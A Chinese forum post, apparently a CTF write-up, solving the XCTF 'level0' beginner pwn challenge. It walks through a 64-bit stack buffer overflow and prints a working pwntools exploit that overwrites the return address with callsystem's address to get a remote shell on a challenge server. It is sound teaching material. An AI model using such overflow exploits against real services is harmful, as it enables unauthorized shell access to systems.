首页
论坛
专栏
课程

[原创]XCTF 攻防世界 PWN 新手练习 XMan level0 writeup

2019-6-16 16:58 5595

[原创]XCTF 攻防世界 PWN 新手练习 XMan level0 writeup

2019-6-16 16:58
5595

拿到题目首先查看它的各种保护机制

栈区不可执行,在IDA中查看


输出字符串helloWord之后执行vulnerable_function()函数,没有与用户交互,跟进去查看


无参数传入,buf长度为0x80,即0x80h填充满,之后跟上地址就可以实现任意跳转。

查找字符串


一路跟进到callsystem函数


因此,可以在read时,将函数返回地址覆盖为callsystem函数地址,则可实现漏洞利用

Exp如下


但运行无反应


推测返回地址错误,看vulnerable_function()函数汇编代码


push之后,add指令开辟buf空间,retn指令之前多了个leave指令,leave指令解释如下

也就是说,在函数返回之前,有一次pop操作,要通过read函数覆盖返回地址,则还需将push指令的内容覆盖,ELF文件为64位程序,pop指令后64位2进制出栈,即8个字符大小(push类似),payload = 'a'*(0x80 + 8) + p64(sysaddr)

修改exp如下:

from pwn import *

p = remote('111.198.29.45',33907)
elf = ELF('./level0')
sysaddr = elf.symbols['callsystem']
payload = 'a'*(0x80 + 8) + p64(sysaddr)
p.recv()
p.send(payload)
p.interactive()
运行,成功获取shell

Python脚本注释:

from pwn import *  #导入pwntools中pwn包的所有内容

p = remote('111.198.29.45',33907)  # 链接服务器远程交互,等同于nc ip 端口 命令
elf = ELF('./level0')  # 以ELF文件格式读取level0文件
sysaddr = elf.symbols['callsystem']  # 获取ELF文件中callsystem标记的地址
payload = 'a'*(0x80 + 8) + p64(sysaddr)  # payload,先用0x88个无用字符覆盖buf和push中的内容,之后再覆盖返回地址
p.recv()  #接收输出
p.send(payload)  # 发送payload
p.interactive()  # 反弹shell进行交互



[公告]安全测试和项目外包请将项目需求发到看雪企服平台:https://qifu.kanxue.com

上传的附件:
最新回复 (0)
游客
登录 | 注册 方可回帖
返回